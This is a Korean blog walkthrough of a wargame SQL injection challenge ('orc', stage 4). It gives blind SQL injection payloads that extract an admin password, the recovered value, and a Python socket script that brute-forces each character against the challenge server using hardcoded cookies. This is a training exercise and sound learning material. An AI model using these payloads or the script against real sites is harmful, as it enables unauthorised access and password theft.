본문 바로가기
워게임/LOS

[los - SQL injection] orc ( 4단계 )

by B T Y 2017. 9. 23.
반응형

[los - SQL injection] orc ( 4단계 )







[ 문제풀이 ]



orc는 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) 조건문을 만족해야 해당 문제가 풀린다..


취약점으로 이용할 수 있는 부분은 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 와 

$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 이 두군데로 보인다...

근데 이 문제에서는 addslashes() 함수를 이용해서 쿼터의 사용을 금지하여서 두번째 쿼리에서는 쿼터 사용이 불가능해진다..

여기서는 첫번째 쿼리와 출력되는 echo "<hr>query : <strong>{$query}</strong><hr><br>";로 내용을 통해서 SQL injection을 진행해야한다.


결국 이 문제를 풀기 위해서는 admin에 대한 해당 pw를 직접 입력해줘야 문제가 풀린다.


Blind SQL injection을 통해서 pw를 공략 해볼 수 있겠다..


'or length(pw)=8 # 을 이용해서 pw의 길이가 8인걸 알아냈다.


pw 길이는 8


' or (id='admin' and ascii(substr(pw,2,1)) > 60) # 를 이용해서 

pw 한문자씩 비밀번호가 맞는지 참/거짓을 통해서 알아내는데 

여기서는 python을 이용해서 자동화 프로그램 코드를 짜서 8자리 비밀번호를 찾았다.


python 자동화 프로그램으로 찾아낸 pw의 결과는...


첫번째 글자 2( ascii 50 )


두번째 글자 9( ascii 57 )


세번째 글자 5( ascii 53 )


네번째 글자 d( ascii 100 )


다섯번째 글자 5( ascii 53 )


여섯번째 글자 8( ascii 56 )


일곱번째 글자 4( acsii 52 )


여덟번째 글자 4( ascii 52 )



이제 찾은 문자를 pw값으로 입력해주게 되면 문제가 풀릴것이다~





4단계 클리어~~~~~


- pw 찾기위한 python 자동화 코드


orc.py


from socket import *

from struct import *


for i in range(1,9):

    ch = 48

    while True:


        #if 58 <= ch <= 64: ch + 1; continue

        #if 91 <= ch <= 96: ch + 1; continue

        if ch > 122: break

        

        sock = socket( AF_INET, SOCK_STREAM )

        sock.connect( ('104.27.174.42', 80) )


        request_header = 'GET /orc_47190a4d33f675a601f8def32df2583a.php?pw='

        request_header += '\' or id=\'admin\' %26%26 ascii(substr((select pw),'

        request_header += str(i)

        request_header += ',1))=' + str(ch) + ' %23'

        request_header += ' HTTP/1.1\r\n'

        request_header += 'Cookie:__cfduid=dd47bd8851e64298cd2968ee86932fc981506163499; 

                                  PHPSESSID=olrlta4imqt6470urhrs9r5071\r\n'

        request_header += 'Host:los.eagle-jump.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()

        if 'Hello admin' in response:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1;

        sock.close()



반응형

댓글